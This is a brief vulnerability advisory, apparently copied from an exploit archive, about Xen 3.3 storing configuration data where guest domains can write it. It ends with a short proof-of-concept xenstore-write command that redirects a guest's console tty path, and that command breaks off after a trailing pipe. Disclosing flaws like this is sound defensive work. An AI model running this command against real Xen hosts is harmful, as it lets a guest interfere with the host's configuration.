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source: http://www.securityfocus.com/bid/31499/info
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Xen is prone to a vulnerability that results in configuration information being stored in a location that is writable by guest domains.
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UPDATE (December 19, 2008): The initial proposed patches did not resolve this issue.
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Xen 3.3 is vulnerable; other versions may also be affected.
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#yum install xen
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# xenstore-write /local/domain/GUEST-DOMID/console/tty /i/am/the/evil/guest |